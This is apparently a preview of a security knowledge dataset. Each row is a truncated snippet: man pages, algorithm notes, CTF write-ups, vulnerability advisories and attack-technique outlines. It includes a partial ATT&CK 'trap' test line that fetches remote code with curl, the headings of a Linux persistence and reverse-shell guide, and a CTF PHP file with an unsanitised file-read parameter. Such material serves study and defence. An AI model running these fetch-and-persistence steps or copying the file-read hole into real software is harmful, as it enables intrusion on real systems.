text
stringlengths
100
9.93M
category
stringclasses
11 values
# 18.1 在 O(1) 时间内删除链表节点 ## 解题思路 ① 如果该节点不是尾节点,那么可以直接将下一个节点的值赋给该节点,然后令该节点指向下下个节点,再删除下一个节点,时间复杂度为 O(1)。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/1176f9e1-3442-4808-a47a-76fbaea1b806.png" width="600"/> </div><br> ② 否则,就需要先遍历链表,找到节点的前一个节点,然后让前一个节点指向 null,时间复杂度为 O(N)。 <div alig...
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: set.n,v 1.2 2003/11/24 05:10:00 bb...
sec-knowleage
pwd === 显示当前工作目录的绝对路径。 ## 补充说明 pwd(英文全拼:print working directory) 命令用于显示用户当前所在的工作目录(以绝对路径显示)。 ## 内建命令 #### 概要 ```shell pwd [-LP] ``` #### 选项 ```shell -L (默认值)打印环境变量"$PWD"的值,可能为符号链接。 -P 打印当前工作目录的物理位置。 ``` #### 返回值 返回状态为成功除非给出了非法选项或是当前目录无法读取。 #### 注意 1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 ## 外部命令 #### 概要 ```shell pwd [OPTION...
sec-knowleage
# Art Gallery Category: Web, 300 points ## Description > Pnina Terest applied for a job in the ISA. We asked her to implement a web-based art gallery to store all of ISA's best pictures. When Pnina submitted her finished work, we were disappointed to find out that she did not implement some of the features we requested...
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH CHROOT 8 2022年9月 "GNU coreutils 9...
sec-knowleage
# NullByte > https://download.vulnhub.com/nullbyte/NullByte.ova.zip 靶场IP:`192.168.32.14` 扫描对外端口服务 ``` ┌──(root㉿kali)-[~] └─# nmap -sV -p1-65535 192.168.32.14 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-08 22:43 EDT Nmap scan report for 192.168.32.14 Host is up (0.00011s latency). Not shown: 65531 closed tcp port...
sec-knowleage
## Srpp (Crypto, 231p) ###ENG [PL](#pl-version) We are given quite complicated file, but after simplification, the only important part is this: ```python params = getParams(nbit) N, g, k = params email = 'admin@asis-ctf.ir' client.send('params = (N, g, k) = ' + str(params) + '\n') salt = urandom(32) N, g, _ = params x ...
sec-knowleage
# 10.1 斐波那契数列 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/c6c7742f5ba7442aada113136ddea0c3?tpId=13&tqId=11160&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 求斐波那契数列的第 n 项,n \<= 39。 <!--<div align="center"><img src="https://latex.codecogs.com/gif.latex?f(n)=...
sec-knowleage
这一季依然是一个过渡季,根据之前的连载中,了解到后门是渗透测试的分水岭,它分别体现了攻击者对目标机器的熟知程度,环境,编程语言,了解对方客户,以及安全公司的本质概念。也同样检测了防御者需要掌握后门的基本查杀,与高难度查杀,了解被入侵环境,目标机器。以及后门或者病毒可隐藏角落,或样本取证,内存取证等。对各种平台查杀熟知,对常见第三方软件的了解程度。既然题目以“艺术”为核心,那么怎样把后门“艺术”行为化呢? 依然遵循以往,引入概念,**只有概念清晰,本质清晰,对于攻击者,这样的后门更具有持久性,潜伏性,锁定性等。对于防御者,更能熟知反后门对抗,对待常用第三方软件的检测方式方法,切断攻击者的后渗透攻击。溯源或取证攻击者。** 在高级持续渗...
sec-knowleage
# TimeWarp Scripting, 50 points ## Description > Oh no! A t3mp0ral anoma1y has di5rup7ed the timeline! Y0u'll have to 4nswer the qu3stion5 before we ask them! ## Solution We connect to the service and get the following output: ```console root@kali:/media/sf_CTFs/sunshine/TimeWarp# nc archive.sunshinectf.org 19004 I'm g...
sec-knowleage
# 10.2 矩形覆盖 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/72a5a919508a4251859fb2cfb987a0e6?tpId=13&tqId=11163&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 我们可以用 2\*1 的小矩形横着或者竖着去覆盖更大的矩形。请问用 n 个 2\*1 的小矩形无重叠地覆盖一个 2\*n 的大矩形,总共有多少种方法? <div align="center"> <img ...
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-2000 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: expr.n,v 1.2 2003/11/24 05:09:59 b...
sec-knowleage
lpc === 命令行方式打印机控制程序 ## 补充说明 **lpc命令** 式命令行方式打印机控制程序,有5个内置命令。 ### 语法 ```shell lpc ``` ### 实例 ```shell [root@localhost ~]# lpc lpc> ? 命令可能是缩写。命令是: exit help quit status ? lpc> exit ```
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "RESET" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME RESET \- 把一个运行时参数值恢复为缺省值 .SH SYNOPSIS .sp .nf RESET \fIname\fR RESET ALL .sp .fi .SH "DESCRIPTION 描述" .PP \fBRESET\fR 将运行时参数恢复为缺省值。 RESET 是下面语句的一个变种 .sp .nf SET \fIparameter\fR TO DEF...
sec-knowleage
.\" rpm - Red Hat Package Manager .TH "rpm" "8" "2002年6月9日" "Red Hat, Inc." .SH 名称 rpm \- RPM 软件包管理器 .SH 总览 .SS "查询和验证软件包:" .PP \fBrpm\fR {\fB-q|--query\fR} [\fBselect-options\fR] [\fBquery-options\fR] \fBrpm\fR \fB--querytags\fR \fBrpm\fR {\fB-V|--verify\fR} [\fBselect-options\fR] [\fBverify-options\fR] .SS "安装、升级和卸载软...
sec-knowleage
原文 by [CH_vksec](http://ch.vksec.com/2017/06/blog-post_72.html) 最近尝试了一些内网端口的转发和内网穿透,现在一起总结一下。 ![](../pictures/port-forwarding-1.png) ## 0x01 正向和反向代理 正向代理中,proxy 和 client 同属一个 LAN,对 server 透明; 反向代理中,proxy 和 server 同属一个 LAN,对 client 透明。 实际上 proxy 在两种代理中做的事都是代为收发请求和响应,不过从结构上来看正好左右互换了下,所以把前者那种代理方式叫做正向代理,后者叫做反向代理。 ...
sec-knowleage
dump === 用于备份ext2或者ext3文件系统 ## 补充说明 **dump命令** 用于备份ext2或者ext3文件系统。可将目录或整个文件系统备份至指定的设备,或备份成一个大文件。 ### 语法 ```shell dump(选项)(参数) ``` ### 选项 ```shell -0123456789:备份的层级; -b<区块大小>:指定区块的大小,单位为KB; -B<区块数目>:指定备份卷册的区块数目; -c:修改备份磁带预设的密度与容量; -d<密度>:设置磁带的密度。单位为BPI; -f<设备名称>:指定备份设备; -h<层级>:当备份层级等于或大于指定的层级时,将不备份用户标示为“nodump”的文件; -n...
sec-knowleage
# Django JSONField/HStoreField SQL Injection Vulnerability (CVE-2019-14234) [中文版本(Chinese version)](README.zh-cn.md) Django released a security update on August 1, 2019, which fixes a SQL injection vulnerability in the two model fields of JSONField and HStoreField. Reference link: - https://www.djangoproject.com/we...
sec-knowleage
kill === 发送信号到进程。 ## 目录 - [bash内建命令](#内建命令) - [GNU coreutils中的命令](#外部命令) ## 内建命令 #### 概要 ```shell kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... kill -l [sigspec] ``` #### 主要用途 - 发送信号到作业或进程(可以为多个)。 - 列出信号。 #### 选项 ```shell -s sig 信号名称。 -n sig 信号名称对应的数字。 -l 列出信号名称。如果在该选项后提供了数字那么假设它是信号名称对应的数字。 -L...
sec-knowleage
# openssl --- ## 什么是x509证书链 x509 证书一般会用到三类文件,key,csr,crt. - Key 是私用密钥,openssl 格式,通常是 rsa 算法. - csr 是证书请求文件,用于申请证书.在制作 csr 文件的时候,必须使用自己的私钥来签署申请,还可以设定一个密钥. - crt 是 CA 认证后的证书文件(windows 下面的 csr,其实是 crt),签署人用自己的 key 给你签署的凭证. --- ## openssl 中有如下后缀名的文件 - .key 格式:私有的密钥 - .csr 格式:证书签名请求(证书请求文件),含有公钥信息,certificate signing reques...
sec-knowleage
# Challenge #2 Solved together with YaakovCohen88 ## Description > Hello again, Agent. > > Our team has successfully exfiltrated the intel contained in the safe. > > The intel has pointed us to an anti aircraft weapon deployed by the terrorists in order to shoot down civilian aircraft. > > While our field teams try ...
sec-knowleage
rcp === 使在两台Linux主机之间的文件复制操作更简单 ## 补充说明 **rcp命令** 使在两台Linux主机之间的文件复制操作更简单。通过适当的配置,在两台Linux主机之间复制文件而无需输入密码,就像本地文件复制一样简单。 ### 语法 ```shell rcp(选项)(参数) ``` ### 选项 ```shell -p:保留源文件或目录的属性,包括拥有者、所属群组、权限与时间; -r:递归处理,将指定目录下的文件与子目录一并处理; -x:加密两台Linux主机间传送的所有信息。 -D:指定远程服务器的端口号。 ``` 同名用户的主目录。如果没有给出远程用户名,就使用当前用户名。如果远程机上的路径包含特殊s...
sec-knowleage
### arm汇编基础 LDMIA R0 , {R1,R2,R3,R4} LDM为: 多寄存器“内存取”指令 IA表示每次LDM指令结束之后R0增加1个字 最终结果为R1 = [R0], R1 = [R0+#4], R1 = [R0+#8], R1 = [R0+#0xC] ### arm汇编基础堆栈寻址 (FA、EA、FD、ED) STMFD SP! , {R1-R7,LR} @ 将R1~R7以及LR入栈 LDMFD SP! , {R1-R7,LR} @ 将R1~R7以及LR出栈 ### arm汇编基础块拷贝寻址 LDM和STM为指令前缀,表示多寄存器寻址,指令后缀(IA、DA、IB、DB)。 LDMIA R0!, {R1-R3} ...
sec-knowleage
# DC6-WalkThrough --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **靶机地址** - https://www.vulnhub.com/entry/dc-6,315/ **Description** DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. This isn't an overly difficult challenge so ...
sec-knowleage
--- title: 文件系统结构 --- ### 文件系统( File System ) 如果我们想对文件进行,增删改查( touch rm mv vim ),或者说进行文件的创建,删除,移动,重命名等操作,首先要解决是什么呢?要能找到它。或者说,就是要知道文件在文件系统上的位置。 所以,我们首先要说的是文件系统的结构。实际上就是说一下,Linux 系统默认的那些文件夹的结构。实际上这个结构是非常简单的。 Windows 系统上还分 C/D 盘,Linux 这里其实更简单。所有的文件夹都会存在一个顶级老祖宗文件夹之内。这个老祖宗的名字叫做 `/` 。 Linux 文件系统结构,就是老祖宗文件夹里面包含子文件夹或者文件,子文件里面又...
sec-knowleage
# malloc_state 相关函数 ## malloc_init_state ```c /* Initialize a malloc_state struct. This is called only from within malloc_consolidate, which needs be called in the same contexts anyway. It is never called directly outside of malloc_consolidate because some optimizing compilers try to inline it at all ca...
sec-knowleage
# Software update (Crypto, 182p, 23 solved) In the task we get a package with the server script and example archive with "software update". The server script simply reads a base64 encoded zip file from the socket, unpacks it, calculates expected signature of the archive contents and compares it with the attached signat...
sec-knowleage
# Signed shell server (pwn, 200) > I'll only execute shell commands that are authenticated with my hmac-sha1 key. > I'll sign a few benign commands for you, but after that, you're on your own! As described in the task description, we were given a binary that would execute anything we give it, but only if authenticated ...
sec-knowleage
# 在Github部署静态网页 如果你的项目只是一个静态网站,就没有必要再去整什么服务器,github pages 提供了搭建静态网站的功能; ### Github-Pages github Pages可以被认为是用户编写的、托管在github上的静态网页。 也就是项目的gh-pages分支。 ### Git 本地工作流 ##### 首先给主分支做版本 ``` git commit -a -m 'branch' ``` **注意**:在进行分支操作前,首先做下版本,否则会出错 ##### 查看当前分支 ``` git branch -a ``` ##### 创建`gh-pages`分支 ``` git branch gh-pages...
sec-knowleage
--- title: Twitter date: 2022-11-23 16:23:31.705009 background: bg-[#4894e2] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 26 keyboard shortcuts found on Twitter --- Keyboard Shortcuts ------------------ ### Actions Shortcut | Action ---|--- `N` | New tweet...
sec-knowleage
# Model E1337 - Rolling Code Lock ## [Flag0](./flag0) -- Found - Hidden functionality is good functionality - Comments can often reveal important things - XML from untrusted sources must be processed carefully - This application runs on the uwsgi-nginx-flask-docker image ## [Flag1](./flag1) -- Not Found
sec-knowleage
# PostgreSQL injection ## Summary * [PostgreSQL Comments](#postgresql-comments) * [PostgreSQL version](#postgresql-version) * [PostgreSQL Current User](#postgresql-current-user) * [PostgreSQL List Users](#postgresql-list-users) * [PostgreSQL List Password Hashes](#postgresql-list-password-hashes) * [PostgreSQL List Dat...
sec-knowleage
# T1190-CVE-2020-0618-SQL_server远程代码执行漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库...
sec-knowleage
<?php // TWCTF{then_can_y0u_read_file_list?} $filename = $_GET['f']; if(stripos($filename, 'file_list') != false) die(); header("Contest-Type: application/octet-stream"); header("Content-Disposition: attachment; filename='$filename'"); readfile("uploads/$filename");
sec-knowleage
#!/usr/bin/python2 # -*- coding: utf-8 -*- from __future__ import division from datetime import datetime from sys import modules import random import time import sys import os class Modifier: def __init__(self, value, owner): self.value = value self.owner = owner def __str__(self): sum = str(self.value) le...
sec-knowleage
# the great escape 2 (web 200) ###ENG [PL](#pl-version) We start this task in the place where we finished part 1. We have web address for `ssc.teaser.insomnihack.ch` and we have an email `rogue@ssc.teaser.insomnihack.ch` where we can send links to be visited by our victim. What we want to extract now is the private RSA...
sec-knowleage
--- title: Neo4j date: 2021-08-23 12:34:56 background: bg-[#3b85ef] tags: - DB - GraphDB categories: - Database intro: | A Neo4j cheat sheet with getting started resources and information on how to query the database with Cypher. plugins: - copyCode --- Getting Started {.cols-2} --------------- ### Ge...
sec-knowleage
# 对象、变量和常量 --- - https://www.kancloud.cn/imxieke/ruby-base/107291 --- # 对象 在 Ruby 中,表现数据的基本单位称为对象(object)。 对象的类型非常多,我们这里只介绍一些常用的对象。 - 数值对象 1、-10、3.1415 等是表示数字的对象,另外还有表示矩阵、复数、素数、公式的对象。 - 字符串对象 你好、"hello" 等表示文字的对象。 - 数组对象、散列对象 表示多个数据的集合的对象。 - 正则表达式对象 表示匹配模式的对象。 - 时间对象 比如“2013 年 5 月 30 日早上 9 点”等表示时间的对象...
sec-knowleage
# ransom, RE, 50pts > In theory, this firmware mod was supposed to give you 30% extra horsepower and torque. In reality, it's something different. > UPDATE: In reality... this challenge is easier than it should be. Consider it a bonus! > See Random 2.0 for the real challenge. In this task we got a binary to analyze. Up...
sec-knowleage
# 55.1 二叉树的深度 [NowCoder](https://www.nowcoder.com/practice/435fb86331474282a3499955f0a41e8b?tpId=13&tqId=11191&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 从根结点到叶结点依次经过的结点(含根、叶结点)形成树的一条路径,最长路径的长度为树的深度。 <div align="center"> <img src="https://cs-notes-125610979...
sec-knowleage
### ret2dlresolve原理 在 Linux 中,程序使用 `_dl_runtime_resolve(link_map_obj, reloc_offset)` 来对动态链接的函数进行重定位。那么如果我们可以控制相应的参数及其对应地址的内容是不是就可以控制解析的函数了呢?答案是肯定的。这也是 ret2dlresolve 攻击的核心所在。 具体的,动态链接器在解析符号地址时所使用的重定位表项、动态符号表、动态字符串表都是从目标文件中的动态节 `.dynamic` 索引得到的。所以如果我们能够修改其中的某些内容使得最后动态链接器解析的符号是我们想要解析的符号,那么攻击就达成了。 ### ret2dlresolve关于直接控制重定...
sec-knowleage
# Linux - Persistence ## Summary * [Basic reverse shell](#basic-reverse-shell) * [Add a root user](#add-a-root-user) * [Suid Binary](#suid-binary) * [Crontab - Reverse shell](#crontab---reverse-shell) * [Backdooring a user's bash_rc](#backdooring-a-users-bash_rc) * [Backdooring a startup service](#backdooring-a-startup...
sec-knowleage
# Client-side-again Web Exploitation, 200 points ## Description: > Can you break into this super secure portal? ## Solution: We visit the website and inspect the source code: ```html <html> <head> <title>Secure Login Portal V2.0</title> </head> <body background="barbed_wire.jpeg" > <!-- standard MD5 implementation -->...
sec-knowleage
# 算法目录 - [算法分析](算法%20-%20算法分析.md) - [排序](算法%20-%20排序.md) - [并查集](算法%20-%20并查集.md) - [栈和队列](算法%20-%20栈和队列.md) - [符号表](算法%20-%20符号表.md) - [其它](算法%20-%20其它.md) ## 参考资料 - Sedgewick, Robert, and Kevin Wayne. _Algorithms_. Addison-Wesley Professional, 2011.
sec-knowleage
# BB-8 (crypto, 200p) ## ENG [PL](#pl-version) In the task we get a [source code](server.py) of service we can connect to. We also get a lengthly [description](README.txt) of the protocol we are working with. It is basically a standard BB-84 Quantum Key Distribution protocol. The service we can connect to is a Man-in-t...
sec-knowleage
# Android 动态调试 ## Android 调试基本原理 一般来说,Android 根据如下的顺序来判断一个应用是否可以被调试 1. 检测 boot.img 中的 ro.debuggable 是否为1,为 1 的话,手机中的任何应用均可以调试。 2. 否则,检测对应应用中 AndroidManifest.xml 中 \<application\> 元素中是否包含了android:debuggable="true",如果有的话,才会开启调试支持。 自然,我们也就有两种方法来使得一个应用可以被调试 1. 将一个 apk 文件解包,在 \<application\> 元素中添加 android:debuggable="tr...
sec-knowleage
--- title: Maltego categories: Information Gathering tags: [portscanning,exploitation,information gathering,webapps,kali linux,gui,maltego teeth,maltego] date: 2017-04-23 10:00:00 --- 0x00 介绍 ------- Maltego是一个独特的平台,旨在为组织拥有和运营的环境提供清晰的威胁构图。Maltego的独特优势是展示单一故障点的复杂性和严重性以及当前基础架构范围内的信任关系。 Maltego向网络和资源为基础的实体提供的独特视角是在互联网上发布的...
sec-knowleage
# Contributor Covenant Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender i...
sec-knowleage
# :) Crypto, 456 points ## Description: > Look at what I found! XUBdTFdScw5XCVRGTglJXEpMSFpOQE5AVVxJBRpLT10aYBpIVwlbCVZATl1WTBpaTkBOQFVcSQdH ## Solution: This looks like base64, let's try to decode it: ```console root@kali:/media/sf_CTFs/tamu/Smiley# echo XUBdTFdScw5XCVRGTglJXEpMSFpOQE5AVVxJBRpLT10aYBpIVwlbCVZATl1WTBpa...
sec-knowleage
'\" '\" Copyright (c) 1995-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: palette.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental m...
sec-knowleage
# Hashcat <p align="center"> <img src="../../../assets/img/logo/Hashcat.jpg" width="20%"> </p> --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **简介** Hashcat 自称是世界上最快的密码恢复工具。它在2015年之前拥有专有代码库,但现在作为免费软件发布。适用于 Linux,OS X 和 Windows 的版本可以使用基于 CPU 或基于 GPU 的变体。支持 hashcat 的散列算法有 Microsoft LM hash,MD4,M...
sec-knowleage
# Most Cookies Category: Web, 150 points ## Description > Alright, enough of using my own encryption. Flask session cookies should be plenty secure! ```python from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session import random app = Flask(__name__) flag_value = open("./flag...
sec-knowleage
# HITCON CTF 2020 ### Table of contents * [11011001 (re)](11011001) * [Run Run Run! (re)](run_run_run) * [SOP (re)](sop)
sec-knowleage
# T1154-linux-trap ## 来自ATT&CK的描述 该`trap`命令允许程序和shell指定在接收中断信号时将执行的命令。常见的情况是脚本允许正常终止和处理常见的键盘中断,如`ctrl+c`和`ctrl+d`。攻击者可以使用它来注册当shell遇到特定中断以执行或作为持久性机制时要执行的代码。陷阱命令具有以下格式`trap 'command list' signals`,其中当接收到“信号”时将执行“命令列表”。 ## 测试案例 ```bash trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/mas...
sec-knowleage
# CyberTank Window Controller Reversing ## Password (100 points) > CyberTank has such secure car windows that they require a password! Can you find out what the password is? > > Flag format: CTF{xx_xx_xx} An executable was attached. ```console user@CTF_PC:/mnt/e/CTFs/hackazon$ file CyberTankWindowApp.exe CyberTankWind...
sec-knowleage
# Irish-Name-Repo 3 Web Exploitation, 400 points ## Description: > There is a secure website running at http://2019shell1.picoctf.com:12271. Try to see if you can login as admin! ## Solution: The website offered an admin login page: ```html <form action="login.php" method="POST"> <fieldset> <div class="for...
sec-knowleage
# BugDB v1 - FLAG0 ## 0x00 Overview Very direct and easy CTF. The purpose is more like taking a tour of Graphql. ## 0x01 FLAG The left side is the QUERY and the RIGHT side is results. There is also a very clear structure of data at very right side for reference. So just make a query to loop through all the details of t...
sec-knowleage
.\" (c) 1993 by Thomas Koenig (ig25@rz.uni-karlsruhe.de) .\" Chinese Version Copyright LetBright, www.linuxforum.net, 2000 .\" .\" Permission is granted to make and distribute verbatim copies of this .\" manual provided the copyright notice and this permission notice are .\" preserved on all copies. .\" .\" Permission ...
sec-knowleage
# Cache Me Outside Category: Binary Exploitation, 70 points ## Description > While being super relevant with my meme references, I wrote a program to see how much you understand heap allocations. a binary file, LibC file and makefile were attached. ## Running the Binary Locally When we first try to run the binary local...
sec-knowleage
patch === 为开放源代码软件安装补丁程序 ## 补充说明 **patch命令** 被用于为开放源代码软件安装补丁程序。让用户利用设置修补文件的方式,修改,更新原始文件。如果一次仅修改一个文件,可直接在命令列中下达指令依序执行。如果配合修补文件的方式则能一次修补大批文件,这也是Linux系统核心的升级方法之一。 ### 语法 ```shell patch(选项)(参数) ``` ### 选项 ```shell -b或--backup:备份每一个原始文件; -B<备份字首字符串>或--prefix=<备份字首字符串>:设置文件备份时,附加在文件名称前面的字首字符串,该字符串可以是路径名称; -c或--context:把修补数...
sec-knowleage
### 前言: 在团体渗透测试的项目中,如红蓝对抗,团队渗透测试比赛等,最重要的是过程与结果实时共享于团队,例如:A同学nmap目标站,B同学也nmap目标站,这在对抗比赛中是极其浪费时间也是非常容易引起防火墙,日志服务器或其他设备的警觉。所以打算写一系列关于未来团队渗透的对抗。争取做到过程与结果,团队实时共享。把曾经的团队作战经验形成一个适应对抗,比赛等的参考。 ![](media/ba3b2df4a82d3ccbabaf29028ef6732e.jpg) ### popy简介: Pupy是一个开源,跨平台(Windows,Linux,OSX,Android),多功能RAT(远程管理工具)和主要用python编写的后期开发工具。它...
sec-knowleage
## RSA (crypto, 100p) ### PL Version `for ENG version scroll down` Zadanie polegało na odszyfrowaniu wiadomości szyfrowanej za pomocą RSA mając dostęp do klucza publicznego. Wiadomość to: `kPmDFLk5b/torG53sThWwEeNm0AIpEQek0rVG3vCttc=` A klucz: -----BEGIN PUBLIC KEY----- MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhALYtzp8lgWNXI9t...
sec-knowleage
package train.rmi.remote; import java.rmi.Remote; import java.rmi.RemoteException; /** * @author wh1t3P1g * @since 2020/1/9 */ public interface IRemoteHello extends Remote { String sayHello() throws RemoteException; }
sec-knowleage
# ntopng权限绕过漏洞(CVE-2021-28073) ntopng是监控服务器网络流量的工具,对外提供Web页面。其4.2及以前的版本中存在一处权限绕过漏洞,利用该漏洞可以未授权访问目标任意接口。 参考链接: - http://noahblog.360.cn/ntopng-multiple-vulnerabilities/ ## 漏洞环境 执行如下命令启动ntopng: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:3000`将被跳转到登录页面,默认密码admin/admin,首次登录将会重设密码。 ## 漏洞复现 根据参考链接中的方法,编写一个简...
sec-knowleage
'\" t .TH "JOURNALD\&.CONF" "5" "" "systemd 231" "journald.conf" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http:...
sec-knowleage
# 伪造vtable劫持程序流程 ## 简介 前面我们介绍了Linux中文件流的特性(FILE),我们可以得知Linux中的一些常见的IO操作函数都需要经过FILE结构进行处理。尤其是_IO_FILE_plus结构中存在vtable,一些函数会取出vtable中的指针进行调用。 因此伪造vtable劫持程序流程的中心思想就是针对_IO_FILE_plus的vtable动手脚,通过把vtable指向我们控制的内存,并在其中布置函数指针来实现。 因此vtable劫持分为两种,一种是直接改写vtable中的函数指针,通过任意地址写就可以实现。另一种是覆盖vtable的指针指向我们控制的内存,然后在其中布置函数指针。 ## 实践 这里演示了...
sec-knowleage
## React-Router **react-router** 是官方指定和维护的 React 路由库,它通过管理 URL,实现组件间切换,和状态 (state) 的变化。 ### 装包 ``` npm i react-router-dom --save ``` ### 使用 使用时,路由Router就是React的一个组件。需要引用 ```js import { BrowserRouter as Router, //as就是把前面的作为后面的使用 Route, Link } from 'react-router-dom' ``` Router组件本身只是一个容器,真正的路由要通过Route组件定义。 #### 创建一个r...
sec-knowleage
.\"; 中文版版权所有 soloman, Laser www.linuxforum.net 2000 .TH FDISK 8 "11 June 1998" "Linux 2.0" "Linux程序员手册" .SH NAME fdisk \- Linux分区表操作工具软件 .SH 总览 .BI "fdisk [\-u]" 设备名 .sp .BI "fdisk \-l [\-u] [" "设备名 ..." ] .sp .BI "fdisk \-s" "分区 ..." .sp .BI "fdisk \-v .SH 描述 硬盘可以被分成一个或多个逻辑磁盘,称为 .IR 分区。 这些分区信息都存放在硬盘0扇区的 .IR "分区表" 中。 ...
sec-knowleage
# Easy as GDB Category: Reverse Engineering, 160 points ## Description > The flag has got to be checked somewhere... A binary file was attached. ## Solution Let's run the file: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Easy_as_GDB] └─$ ./brute input the flag: test checking solution... Incorrect. ``` We need to ent...
sec-knowleage
# Writeup SECCON 2016 Quals Team: nazywam, c7f.m0d3, cr019283, akrasuski1, rev, shalom ### Table of contents * [Vigenere (crypto 100)](vigenere) * [VoIP (forensics 100)](voip) * [Basiq (web)](web_100_basiq) * [Memory Analysis (forensics)](memory) * [Uncomfortable web (web 300)](web_300_uncomfortable_web)
sec-knowleage
Various writeups for the [2020 BSidesTLV CTF](https://ctf20.bsidestlv.com) ([CTFTime Link](https://ctftime.org/event/1078)). Participated as part of the [JCTF team](https://jctf.team/), which came in first! ![](images/top3.png)
sec-knowleage
nmap === 网络探测和安全审核 ## 补充说明 **nmap命令** 是一款开放源代码的网络探测和安全审核工具,它的设计目标是快速地扫描大型网络。 ### 语法 ```shell nmap(选项)(参数) ``` ### 选项 ```shell -O:激活操作探测; -P0:值进行扫描,不ping主机; -PT:是同TCP的ping; -sV:探测服务版本信息; -sP:ping扫描,仅发现目标主机是否存活; -ps:发送同步(SYN)报文; -PU:发送udp ping; -PE:强制执行直接的ICMPping; -PB:默认模式,可以使用ICMPping和TCPping; -6:使用IPv6地址; -v:得到更多选...
sec-knowleage
nfsstat === 列出NFS客户端和服务器的工作状态 ## 补充说明 **nfsstat命令** 用于列出NFS客户端和服务器的工作状态。 ### 语法 ```shell nfsstat(选项) ``` ### 选项 ```shell -s:仅列出NFS服务器端状态; -c:仅列出NFS客户端状态; -n:仅列出NFS状态,默认显示nfs客户端和服务器的状态; -2:仅列出NFS版本2的状态; -3:仅列出NFS版本3的状态; -4:仅列出NFS版本4的状态; -m:打印以加载的nfs文件系统状态; -r:仅打印rpc状态。 ``` ### 实例 要显示关于客户机发送和拒绝的RPC和NFS调用数目的信息,输入: ```s...
sec-knowleage
#include <cstdio> #include <cstdint> using namespace std; static uint32_t crc32_tab[] = { 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b971...
sec-knowleage
# T1016-win-系统网络配置发现 ## 来自ATT&CK的描述 攻击者可能会寻找有关其访问的系统或通过远程系统的信息发现的网络配置和设置的详细信息。存在几个可用于收集此信息的操作系统管理实用程序。示例包括Arp,ipconfig /ifconfig,nbtstat和route。 ## 测试案例 windows下执行Arp,ipconfig,nbtstat和route命令 ## 检测日志 windows 安全日志 ## 测试复现 暂无 ## 测试留痕 暂无 ## 检测规则/思路 ### sigma规则 ```yml title: windows 系统网络配置发现 description: windows server 2016...
sec-knowleage
# come-and-git-it-1 * Category: DevSecOps * 100 Points * Solved by the JCTF Team ## Description > > > 1. Add the attached ssh key to your ssh-agent. [Here's some documentation](https://docs.github.com/en/free-pro-team@latest/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#addin...
sec-knowleage
